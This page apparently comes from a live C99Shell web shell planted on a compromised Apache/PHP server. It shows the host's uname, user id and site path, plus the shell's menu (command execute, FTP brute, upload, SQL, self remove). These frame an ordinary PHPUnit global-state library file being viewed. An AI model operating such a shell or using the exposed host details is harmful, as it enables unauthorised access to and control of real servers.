!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/sebastian/global-state/src/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CodeExporter.php (2.56 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);
/*
 * This file is part of sebastian/global-state.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace SebastianBergmann\GlobalState;

use const 
PHP_EOL;
use function 
is_array;
use function 
is_scalar;
use function 
serialize;
use function 
sprintf;
use function 
var_export;

final class 
CodeExporter
{
    public function 
constants(Snapshot $snapshot): string
    
{
        
$result '';

        foreach (
$snapshot->constants() as $name => $value) {
            
$result .= sprintf(
                
'if (!defined(\'%s\')) define(\'%s\', %s);' "\n",
                
$name,
                
$name,
                
$this->exportVariable($value),
            );
        }

        return 
$result;
    }

    public function 
globalVariables(Snapshot $snapshot): string
    
{
        
$result = <<<'EOT'
call_user_func(
    function ()
    {
        foreach (array_keys($GLOBALS) as $key) {
            unset($GLOBALS[$key]);
        }
    }
);


EOT;

        foreach (
$snapshot->globalVariables() as $name => $value) {
            
$result .= sprintf(
                
'$GLOBALS[%s] = %s;' PHP_EOL,
                
$this->exportVariable($name),
                
$this->exportVariable($value),
            );
        }

        return 
$result;
    }

    public function 
iniSettings(Snapshot $snapshot): string
    
{
        
$result '';

        foreach (
$snapshot->iniSettings() as $key => $value) {
            
$result .= sprintf(
                
'@ini_set(%s, %s);' "\n",
                
$this->exportVariable($key),
                
$this->exportVariable($value),
            );
        }

        return 
$result;
    }

    private function 
exportVariable(mixed $variable): string
    
{
        if (
is_scalar($variable) || null === $variable ||
            (
is_array($variable) && $this->arrayOnlyContainsScalars($variable))) {
            return 
var_export($variabletrue);
        }

        return 
'unserialize(' var_export(serialize($variable), true) . ')';
    }

    private function 
arrayOnlyContainsScalars(array $array): bool
    
{
        
$result true;

        foreach (
$array as $element) {
            if (
is_array($element)) {
                
$result $this->arrayOnlyContainsScalars($element);
            } elseif (!
is_scalar($element) && null !== $element) {
                
$result false;
            }

            if (
$result === false) {
                break;
            }
        }

        return 
$result;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--